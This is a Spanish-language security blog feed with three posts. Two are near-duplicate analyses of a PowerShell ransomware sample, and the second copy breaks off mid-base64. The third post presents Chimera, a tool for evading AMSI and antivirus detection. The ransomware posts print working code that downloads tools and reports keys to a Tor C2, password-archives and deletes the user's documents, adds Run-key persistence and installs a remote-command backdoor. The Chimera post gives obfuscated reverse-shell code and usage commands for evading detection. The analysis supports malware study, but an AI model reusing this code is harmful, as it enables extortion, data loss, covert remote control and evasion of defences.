Shared posts

18 May 06:36

Sencillo ransomware en Powershell que usa 7z

by Vicente Motos

Xavier Mertens (@xme) "pescó" un sencillo pero interesante ransomware en Powershell que usa 7z para "secuestrar" los archivos de la víctima y, curiosamente, no es detectado por ningún AV en VirusTotal:

https://www.virustotal.com/gui/file/aff84c3e2f40b6cf3724447252c770ade426cfea0458b172db38e9753ce4fba4/content/string

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
function compress($Pass)
$tmp = $env:TEMP
$s = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/prog/'
$link_7zdll = $s + '7z.dll'
$link_7zexe = $s + '7z.exe'
$7zdll = '"'+$tmp+'\7z.dll"'
$7zexe = '"'+$tmp+'\7z.exe"'
cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll
cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe
$argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php'
$argOut = 'Desktop\YourFilesHaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString()
$argPass = '-p' + $Pass
Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop
function makePass
$alph=@()
65..90
foreach-object{$alph+=[char]$_}
$num=@()
48..57
foreach-object{$num+=[char]$_}
$res = $num + $alph
Sort-Object {Get-Random}
$res = $res -join ''
return $res
function makeFileList
$files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php
$List = $files -split '\r'
return $List
Function makeFileListTable($fileList)
$strOut = ''
foreach($i in 0..($fileList.Length - 1))
$strOut += '<tr><td>{0}. {1}</td></tr>' -f ($i+1), $fileList[$i]
return $strOut
function notify($fileList, $fileResult, $UUID)
$web = '<html> <style> table, td {{border: 1px solid rgb(30, 253, 0)
color: aliceblue
}} body {{background-color: rgb(19, 38, 75)
}} h2, h3 {{color: aliceblue
}} .letter {{margin: auto
width: 30%
border: 2px solid rgb(228, 253, 0)
}}
underline {{text-decoration: underline
}} a {{color: aquamarine
}} </style> <body> <div class="letter"> <h2>Dear {0} (UUID),</h2> <h3>Congrats
Your files are compressed with looong password. You can see a password protected file (YourFilesHaha_xxxx.zip) on Desktop, this file stored all your targeted documents
</h3> <h3 id="underline">FAQ: What should I do now
I missed my files :(</h3> <h3>Ans: Create a Bitcoin wallet such as in <a href = "https://accounts.binance.com/en/register" target = "_blank">Binance</a>, pay us Bitcoin worth of 20 USD to get your unzip key
</h3> <h3>After depositing money to your wallet and understanding the way to transfer, you can use the program "ransom_10d2e.bat" in the Desktop to finish the transaction.</h3> </div> <h3>Your affected files (at least):</h3> <table>{1}</table> <body> </html>' -f $UUID, $fileResult
Set-Content -Path 'Desktop\READ_ME(ABOUT YOUR FILES).html' -value $web
Start 'Desktop\READ_ME(ABOUT YOUR FILES).html'
Remove-Item -Path $fileList[$i]
echo $fileList
function setup
$usr = $env:USERPROFILE
$cont_10d2d = 'dGFza2tpbGwgL2ltIHRvci5leGUgL2Y7DQoNCiRvblN0YXJ0ID0gJ2NtZCAvYyBwb3dlcnNoZWxsIC13aW5kb3dzdHlsZSBoaWRkZW4gY2QgJGVudjpURU1QXDEwZDJkOyBwb3dlcnNoZWxsIC1lcCBieXBhc3MgLlwxMGQyZC5wczEnOw0KTmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCBIS0NVOlxIS0VZX0NVUlJFTlRfVVNFUlxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4gLU5hbWUgMXMwdGRhMnJkdCAtVmFsdWUgJG9uU3RhcnQgLUZvcmNlOw0KDQpjZCAkZW52OlVTRVJQUk9GSUxFOw0KU3RhcnQtUHJvY2VzcyAtd2luZG93c3R5bGUgaGlkZGVuIC1GaWxlUGF0aCAuaG9tZVxUb3JcdG9yLmV4ZTsNCg0KZnVuY3Rpb24gZ2V0VVVJRA0Kew0KICAgICRyYXcgPSAoR2V0LVdtaU9iamVjdCAtQ2xhc3MgV2luMzJfQ29tcHV0ZXJTeXN0ZW1Qcm9kdWN0KS5VVUlEOw0KICAgICRVVUlEID0gJHJhdy5zcGxpdCgnLScpWzRdOw0KICAgIHJldHVybiAkVVVJRDsNCn0NCg0KJFJIID0gImh0dHA6Ly9xZDQ1ZDdvYWxoY3psbG1yaGI0c2VncWM0NjVzeXV2NGhzamxoejV6a2NobGluam1yZm80dWhpZC5vbmlvbjo1MDAwL3JhYy8iOw0KJFVVSUQgPSBnZXRVVUlEOw0KJFVVSUQ7DQoNCndoaWxlKCR0cnVlKQ0Kew0KICAgIGNtZCAvYyBjdXJsIC1zIC14IHNvY2tzNWg6Ly9sb2NhbGhvc3Q6OTA1MCAkUkgnc3RhdHVzLnBocD9pZD0nJFVVSUQ7DQogICAgJGpvYkNhbGwgPSAoY21kIC9jIGN1cmwgLXMgLXggc29ja
$cont_10d2e = 'ZWNobyAiTW9kaWZ5aW5nIHRoaXMgc2NyaXB0IGRvZXNuJ3QgZG8gYW55IGhhcm0gdG8gb3VyIHNlcnZlciwgZG9uJ3QgYmUgc3R1cGlkLmBuU3RhcnRpbmcgVG9yIHRvIGNvbW11bmljYXRlIHdpdGggdXMuLi4iDQpjZCAkZW52OlVTRVJQUk9GSUxFOw0KU3RhcnQtUHJvY2VzcyAtd2luZG93c3R5bGUgaGlkZGVuIC1GaWxlUGF0aCAuaG9tZVxUb3JcdG9yLmV4ZTsNCg0KZnVuY3Rpb24gZ2V0UmFuc29tKCkNCnsNCiAgICAkcmVxdWVzdCA9ICdodHRwOi8vcWQ0NWQ3b2FsaGN6bGxtcmhiNHNlZ3FjNDY1c3l1djRoc2psaHo1emtjaGxpbmptcmZvNHVoaWQub25pb246NTAwMC9iaXRUcmFuLnBocD9VU0RWYWx1ZT1nZXQnOw0KICAgICRjdXJSYW5zb20gPSBjbWQgL2MgY3VybCAtcyAteCBzb2NrczVoOi8vbG9jYWxob3N0OjkwNTAgJHJlcXVlc3Q7DQogICAgJG1zZzEgPSAnUmFuc29tIG5lZWRlZCAoaW4gQlRDKTogezB9IH4gMjAgVVNEJyAtZiAkY3VyUmFuc29tOw0KICAgIHJldHVybiAkbXNnMTsNCn0NCmZ1bmN0aW9uIGdldFVVSUQoKQ0Kew0KICAgICRyYXcgPSAoR2V0LVdtaU9iamVjdCAtQ2xhc3MgV2luMzJfQ29tcHV0ZXJTeXN0ZW1Qcm9kdWN0KS5VVUlEOw0KICAgICRVVUlEID0gJHJhdy5zcGxpdCgnLScpWzRdOw0KICAgIHJldHVybiAkVVVJRDsNCn0NCg0KZnVuY3Rpb24gcGF5KCRVVUlEKQ0Kew0KICAgICRtc2cyID0gIk5vdGUxOiBXZSBzdHJvbmdseSBhZHZpc2UgeW91IHRvIHdhaXQgNSAtIDEwcyBiZWZvcmUgc
$10d2d = $tmp +'\10d2d\10d2d.ps1'
$10d2e = $usr +'\Desktop\10d2e.ps1'
New-Item -ItemType Directory -Force -Path $tmp'\10d2d'
Set-Content -Path $10d2d -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2d))
Out-String)
Set-Content -Path $10d2e -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2e))
Set-Content -Path 'Desktop\Ransom_10d2e.bat' -value 'cmd /k powershell -ep bypass .\10d2e.ps1'
function getUUID
$raw = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID
$UUID = $raw.split('-')[4]
return $UUID
cd $env:USERPROFILE
Remove-Item -Path _.zip -Force
$UUID = getUUID
$Pass = makePass
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/storeKey.php
pass={0}
id={1}' -f $Pass, $UUID
$response = cmd /c curl -s -x socks5h://localhost:9050 $request
if($response -eq 'OK')
$fileList = @(makeFileList)
$fileResult = makeFileListTable $fileList
compress $Pass
setup
notify $fileList $fileResult $UUID
cd $env:TEMP/10d2d
powershell -ep bypass .\10d2d.ps1
mkdir -Path $env:USERPROFILE\Desktop\Debug_Failed

El script comienza generando algunos datos basados en el host: un UUID y una contraseña aleatoria:

function getUUID
{
$raw = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID;
$UUID = $raw.split('-')[4];
return $UUID;
}

function makePass
{
$alph=@();
65..90|foreach-object{$alph+=[char]$_};
$num=@();
48..57|foreach-object{$num+=[char]$_};

$res = $num + $alph | Sort-Object {Get-Random};
$res = $res -join '';
return $res;
}

El ransomware se comunica con el servidor de C2 a través de TOR. 

El cliente TOR no estaba incluido en este script de PowerShell, ¿tal vez en un segundo script?  

Nota: Se espera que TOR se inicie desde un directorio ".home":

cd $env:USERPROFILE;
Start-Process -windowstyle hidden -FilePath .home\Tor\tor.exe;

El servidor C2 se encuentra en esta dirección de Onion: qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion.

El ransomware envía el UUID y la contraseña generados al C2:

UUID = getUUID;
$Pass = makePass;
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/storeKey.php?pass={0}^&id={1}' -f $Pass, $UUID;
$response = cmd /c curl -s -x socks5h://localhost:9050 $request;
La respuesta esperada es un simple "OK" que activará el proceso de cifrado de archivos. La lista de extensiones de archivo de destino es bastante pequeña y la ruta de búsqueda está restringida al directorio de inicio del usuario.
function makeFileList
{
$files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
$List = $files -split '\r';
return $List;
}

$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
compress $Pass;

La forma en que se cifran los archivos es un enfoque interesante. En lugar de cifrar todos los archivos uno por uno, crea un gran archivo cifrado 7Z que contiene todos los archivos de destino.

function compress($Pass)
{
$tmp = $env:TEMP;
$s = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/prog/';
$link_7zdll = $s + '7z.dll';
$link_7zexe = $s + '7z.exe';

$7zdll = '"'+$tmp+'\7z.dll"';
$7zexe = '"'+$tmp+'\7z.exe"';
cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;

$argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';

$argOut = 'Desktop\YourFilesHaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
$argPass = '-p' + $Pass;

Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;
}

Una vez que los archivos se empaquetan, los scripts se dumpean en el sistema de archivos:

function setup
{
$tmp = $env:TEMP;
$usr = $env:USERPROFILE;

$cont_10d2d = 'dGFza2tpbGwgL2ltIHRvci5leGUgL2Y7DQoN ... TbGVlcCAtU2Vjb25kcyA1Ow0KfQ==';
$cont_10d2e = 'ZWNobyAiTW9kaWZ5aW5nIHRoaXMgc2NyaXB0 ... J3QgZG8gYW55IGhhcmm01lbnU7DQo=';

$10d2d = $tmp +'\10d2d\10d2d.ps1';
$10d2e = $usr +'\Desktop\10d2e.ps1';

New-Item -ItemType Directory -Force -Path $tmp'\10d2d';
Set-Content -Path $10d2d -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2d)) | Out-String);
Set-Content -Path $10d2e -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2e)) | Out-String);
Set-Content -Path 'Desktop\Ransom_10d2e.bat' -value 'cmd /k powershell -ep bypass .\10d2e.ps1';
}

El primer script ("10d2d.ps1") implementa persistencia:

$onStart = 'cmd /c powershell -windowstyle hidden cd $env:TEMP\10d2d; powershell -ep bypass .\10d2d.ps1';
New-ItemProperty -Path HKCU:\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run -Name 1s0tda2rdt -Value $onStart -Force;

Luego implementa un backdoor esperando comandos del C2:

$RH = "http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/rac/";
$UUID = getUUID;
while($true)
{
cmd /c curl -s -x socks5h://localhost:9050 $RH'status.php?id='$UUID;
$jobCall = (cmd /c curl -s -x socks5h://localhost:9050 $RH'commandBlock') -split '\n';
if(($jobCall[0] -replace ' ', '') -eq $UUID)
{
cmd /c curl -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=ack';
try
{
$returnCont = (Invoke-Expression $jobCall[1] | Out-String) -replace '\r\n', '\r\n';
}
catch
{
$returnCont = $_ -replace '\r\n', '\r\n';
}
$curPath = (cmd /c cd | Out-String) -replace '\r\n', '\r\n';
$returnCont = ('From UUID - {0} {1}\r\n{2}\r\n' -f $UUID, ('_'*75), $curPath) + $returnCont;

cmd /c curl -X POST -d $returnCont -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=return';
}

Start-Sleep -Seconds 5;
}

El segundo script ("10d2e.ps1") contiene el código para indicar al usuario la nota del rescate (que no es muy caro: $20):

function pay($UUID)
{
$msg2 = "Note1: We strongly advise you to wait 5 - 10s before submitting your info below to avoid the latency problem. `nNote2: pay the ransom only once.`nNote3: demo victim wallet: tb1qkvstwkjsuudcy0dnljdp8qpw4ur68g5uxhhf3j"; $msg2;
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=schedule"&"id=' + $UUID;
$get2 = cmd /c curl -s -x socks5h://localhost:9050 $request;
$msg3 = "`n`nDeadline: " + (get-date).AddMinutes(10).ToString("MM({0})-dd({1})-yyyy HH:mm:ss") -f 'mm', 'dd'; $msg3;
$get2 = Read-Host($get2);

$msg4 = 'Loading again...'; $msg4;
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=confirm"&"id=' + $UUID + '"&"walletAddr=' + $get2;
$result = cmd /c curl -s -x socks5h://localhost:9050 $request; $result;

if($result[0] -ieq 'C')
{
$msg5 = 'Generating a copy of password to your Desktop. Have a check...'; $msg5;
Set-Content -Path $env:USERPROFILE\Desktop\passc0de.txt -Value $result;
}

}

La interacción con el usuario tiene esta pinta:

Tened en cuenta que el usuario debe invocar este segundo script como se indica en la notificación:

Fuente: https://isc.sans.edu/forums/diary/Simple+Powershell+Ransomware+Creating+a+7Z+Archive+of+your+Files/27286/


10 May 07:05

Chimera: un script de PowerShell para bypassear AMSI y otros antivirus

by noreply@blogger.com (Vicente Motos)

El core para antimalware que usa Microsoft, introducido en Windows 10, es la Interfaz de exploración antimalware de Windows, en inglés Antimalware Scan Interface y en adelante AMSI. 

Las aplicaciones antivirus, incluido Windows Defender, pueden llamar a su conjunto de APIs para solicitar un análisis en busca de software malintencionado, scripts y otro contenido. 

Hoy os traemos precisamente una herramienta destinada a bypassear AMSI. Se trata de Chimera, un script en PowerShell para ofuscar código y eludir como decimos AMSI y otras soluciones antivirus. 

Básicamente toma como entrada los PS1 maliciosos detectados por AVs y utiliza la sustitución de cadenas y la concatenación de variables para evadir las firmas de detección comunes. 

A continuación se muestra un fragmento de Invoke-PowerShellTcp.ps1 de Nishang, que se encuentra en nishang/Shells. VirusTotal reporta 25 detecciones del script de PS1.

$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}

#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)

Y aquí el mismo fragmento tratado por Chimera que reporta 0 detecciones:

# Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"()
# As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the station’s equator, where the thermal port lies hidden.
[bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0}
# Darth Vader leads the counterattack himself and destroys many of the Rebels, including Luke’s boyhood friend Biggs, in ship-to-ship combat.

# Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station.
# Heeding Ben’s disembodied voice, Luke switches off his computer and uses the Force to guide his aim.
# Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight.
$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n")
# Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth)
# An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leia’s ship is subdued.

Chimera hace varias cosas para ofuscar el código fuente. La función transformer separará las cadenas en múltiples piezas y las reconstruirá como nuevas variables. Por ejemplo, tomará una cadena como ... New-Object System.Net.Sockets.TCPClient ... y la convertirá a:

$a = "Syste"
$b = "m.Net.Soc"
$c = "kets.TCP"
$d = "Client"

... New-Object $a$b$c$d ...
La función separates divide los tipos de datos y cadenas de datos en varios fragmentos. Define los fragmentos y los concatena en la parte superior del script. Un --level más alto dará como resultado fragmentos más pequeños y más variables.
$CNiJfmZzzQrqZzqKqueOBcUVzmkVbllcEqjrbcaYzTMMd = "`m"
$quiyjqGdhQZgYFRdKpDGGyWNlAjvPCxQTTbmFkvTmyB = "t`Rea"
$JKflrRllAqgRlHQIUzOoyOUEqVuVrqqCKdua = "Get`s"
$GdavWoszHwDVJmpYwqEweQsIAz = "ti`ON"
$xcDWTDlvcJfvDZCasdTnWGvMXkRBKOCGEANJpUXDyjPob = "`L`O`Ca"
$zvlOGdEJVsPNBDwfKFWpvFYvlgJXDvIUgTnQ = "`Get`-"
$kvfTogUXUxMfCoxBikPwWgwHrvNOwjoBxxto = "`i"
$tJdNeNXdANBemQKeUjylmlObtYp = "`AsC`i"
$mhtAtRrydLlYBttEnvxuWkAQPTjvtFPwO = "`G"
$PXIuUKzhMNDUYGZKqftvpAiQ = "t`R`iN

Uso (probado en Kali v2020.3) 

Clonar el repo:

sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help

Uso básico:

./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p

Os recomendamos echar un ojo a la guía de uso y a este writeup para ver más ejemplos y pantallazos. 

Shells 

En el directorio shells/ hay varios scripts de Nishang y algunos genéricos. Todos han sido probados y deberían funcionar bien. Para cambiar las direcciones IP hardcodeadas:

sed -i 's/192.168.56.101/<YOUR-IP-ADDRESS>/g' shells/*.ps1
ls -laR shells/

shells/:
total 60
-rwxrwx--- 1 tokyoneon tokyoneon 1727 Aug 29 22:02 generic1.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 1433 Aug 29 22:02 generic2.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 734 Aug 29 22:02 generic3.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4170 Aug 29 22:02 Invoke-PowerShellIcmp.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 281 Aug 29 22:02 Invoke-PowerShellTcpOneLine.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4404 Aug 29 22:02 Invoke-PowerShellTcp.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 594 Aug 29 22:02 Invoke-PowerShellUdpOneLine.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 5754 Aug 29 22:02 Invoke-PowerShellUdp.ps1
drwxrwx--- 1 tokyoneon tokyoneon 4096 Aug 28 23:27 misc
-rwxrwx--- 1 tokyoneon tokyoneon 616 Aug 29 22:02 powershell_reverse_shell.ps1

shells/misc:
total 36
-rwxrwx--- 1 tokyoneon tokyoneon 1757 Aug 12 19:53 Add-RegBackdoor.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 3648 Aug 12 19:53 Get-Information.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 672 Aug 12 19:53 Get-WLAN-Keys.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4430 Aug 28 23:31 Invoke-PortScan.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 6762 Aug 29 00:27 Invoke-PoshRatHttp.ps1

Recursos

10 May 07:05

Sencillo ransomware en Powershell que usa 7z

by noreply@blogger.com (Vicente Motos)

Xavier Mertens (@xme) "pescó" un sencillo pero interesante ransomware en Powershell que usa 7z para "secuestrar" los archivos de la víctima y, curiosamente, no es detectado por ningún AV en VirusTotal:

https://www.virustotal.com/gui/file/aff84c3e2f40b6cf3724447252c770ade426cfea0458b172db38e9753ce4fba4/content/string

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
function compress($Pass)
$tmp = $env:TEMP
$s = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/prog/'
$link_7zdll = $s + '7z.dll'
$link_7zexe = $s + '7z.exe'
$7zdll = '"'+$tmp+'\7z.dll"'
$7zexe = '"'+$tmp+'\7z.exe"'
cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll
cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe
$argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php'
$argOut = 'Desktop\YourFilesHaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString()
$argPass = '-p' + $Pass
Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop
function makePass
$alph=@()
65..90
foreach-object{$alph+=[char]$_}
$num=@()
48..57
foreach-object{$num+=[char]$_}
$res = $num + $alph
Sort-Object {Get-Random}
$res = $res -join ''
return $res
function makeFileList
$files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php
$List = $files -split '\r'
return $List
Function makeFileListTable($fileList)
$strOut = ''
foreach($i in 0..($fileList.Length - 1))
$strOut += '<tr><td>{0}. {1}</td></tr>' -f ($i+1), $fileList[$i]
return $strOut
function notify($fileList, $fileResult, $UUID)
$web = '<html> <style> table, td {{border: 1px solid rgb(30, 253, 0)
color: aliceblue
}} body {{background-color: rgb(19, 38, 75)
}} h2, h3 {{color: aliceblue
}} .letter {{margin: auto
width: 30%
border: 2px solid rgb(228, 253, 0)
}}
underline {{text-decoration: underline
}} a {{color: aquamarine
}} </style> <body> <div class="letter"> <h2>Dear {0} (UUID),</h2> <h3>Congrats
Your files are compressed with looong password. You can see a password protected file (YourFilesHaha_xxxx.zip) on Desktop, this file stored all your targeted documents
</h3> <h3 id="underline">FAQ: What should I do now
I missed my files :(</h3> <h3>Ans: Create a Bitcoin wallet such as in <a href = "https://accounts.binance.com/en/register" target = "_blank">Binance</a>, pay us Bitcoin worth of 20 USD to get your unzip key
</h3> <h3>After depositing money to your wallet and understanding the way to transfer, you can use the program "ransom_10d2e.bat" in the Desktop to finish the transaction.</h3> </div> <h3>Your affected files (at least):</h3> <table>{1}</table> <body> </html>' -f $UUID, $fileResult
Set-Content -Path 'Desktop\READ_ME(ABOUT YOUR FILES).html' -value $web
Start 'Desktop\READ_ME(ABOUT YOUR FILES).html'
Remove-Item -Path $fileList[$i]
echo $fileList
function setup
$usr = $env:USERPROFILE
$cont_10d2d = 'dGFza2tpbGwgL2ltIHRvci5leGUgL2Y7DQoNCiRvblN0YXJ0ID0gJ2NtZCAvYyBwb3dlcnNoZWxsIC13aW5kb3dzdHlsZSBoaWRkZW4gY2QgJGVudjpURU1QXDEwZDJkOyBwb3dlcnNoZWxsIC1lcCBieXBhc3MgLlwxMGQyZC5wczEnOw0KTmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCBIS0NVOlxIS0VZX0NVUlJFTlRfVVNFUlxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4gLU5hbWUgMXMwdGRhMnJkdCAtVmFsdWUgJG9uU3RhcnQgLUZvcmNlOw0KDQpjZCAkZW52OlVTRVJQUk9GSUxFOw0KU3RhcnQtUHJvY2VzcyAtd2luZG93c3R5bGUgaGlkZGVuIC1GaWxlUGF0aCAuaG9tZVxUb3JcdG9yLmV4ZTsNCg0KZnVuY3Rpb24gZ2V0VVVJRA0Kew0KICAgICRyYXcgPSAoR2V0LVdtaU9iamVjdCAtQ2xhc3MgV2luMzJfQ29tcHV0ZXJTeXN0ZW1Qcm9kdWN0KS5VVUlEOw0KICAgICRVVUlEID0gJHJhdy5zcGxpdCgnLScpWzRdOw0KICAgIHJldHVybiAkVVVJRDsNCn0NCg0KJFJIID0gImh0dHA6Ly9xZDQ1ZDdvYWxoY3psbG1yaGI0c2VncWM0NjVzeXV2NGhzamxoejV6a2NobGluam1yZm80dWhpZC5vbmlvbjo1MDAwL3JhYy8iOw0KJFVVSUQgPSBnZXRVVUlEOw0KJFVVSUQ7DQoNCndoaWxlKCR0cnVlKQ0Kew0KICAgIGNtZCAvYyBjdXJsIC1zIC14IHNvY2tzNWg6Ly9sb2NhbGhvc3Q6OTA1MCAkUkgnc3RhdHVzLnBocD9pZD0nJFVVSUQ7DQogICAgJGpvYkNhbGwgPSAoY21kIC9jIGN1cmwgLXMgLXggc29ja
$cont_10d2e = 'ZWNobyAiTW9kaWZ5aW5nIHRoaXMgc2NyaXB0IGRvZXNuJ3QgZG8gYW55IGhhcm0gdG8gb3VyIHNlcnZlciwgZG9uJ3QgYmUgc3R1cGlkLmBuU3RhcnRpbmcgVG9yIHRvIGNvbW11bmljYXRlIHdpdGggdXMuLi4iDQpjZCAkZW52OlVTRVJQUk9GSUxFOw0KU3RhcnQtUHJvY2VzcyAtd2luZG93c3R5bGUgaGlkZGVuIC1GaWxlUGF0aCAuaG9tZVxUb3JcdG9yLmV4ZTsNCg0KZnVuY3Rpb24gZ2V0UmFuc29tKCkNCnsNCiAgICAkcmVxdWVzdCA9ICdodHRwOi8vcWQ0NWQ3b2FsaGN6bGxtcmhiNHNlZ3FjNDY1c3l1djRoc2psaHo1emtjaGxpbmptcmZvNHVoaWQub25pb246NTAwMC9iaXRUcmFuLnBocD9VU0RWYWx1ZT1nZXQnOw0KICAgICRjdXJSYW5zb20gPSBjbWQgL2MgY3VybCAtcyAteCBzb2NrczVoOi8vbG9jYWxob3N0OjkwNTAgJHJlcXVlc3Q7DQogICAgJG1zZzEgPSAnUmFuc29tIG5lZWRlZCAoaW4gQlRDKTogezB9IH4gMjAgVVNEJyAtZiAkY3VyUmFuc29tOw0KICAgIHJldHVybiAkbXNnMTsNCn0NCmZ1bmN0aW9uIGdldFVVSUQoKQ0Kew0KICAgICRyYXcgPSAoR2V0LVdtaU9iamVjdCAtQ2xhc3MgV2luMzJfQ29tcHV0ZXJTeXN0ZW1Qcm9kdWN0KS5VVUlEOw0KICAgICRVVUlEID0gJHJhdy5zcGxpdCgnLScpWzRdOw0KICAgIHJldHVybiAkVVVJRDsNCn0NCg0KZnVuY3Rpb24gcGF5KCRVVUlEKQ0Kew0KICAgICRtc2cyID0gIk5vdGUxOiBXZSBzdHJvb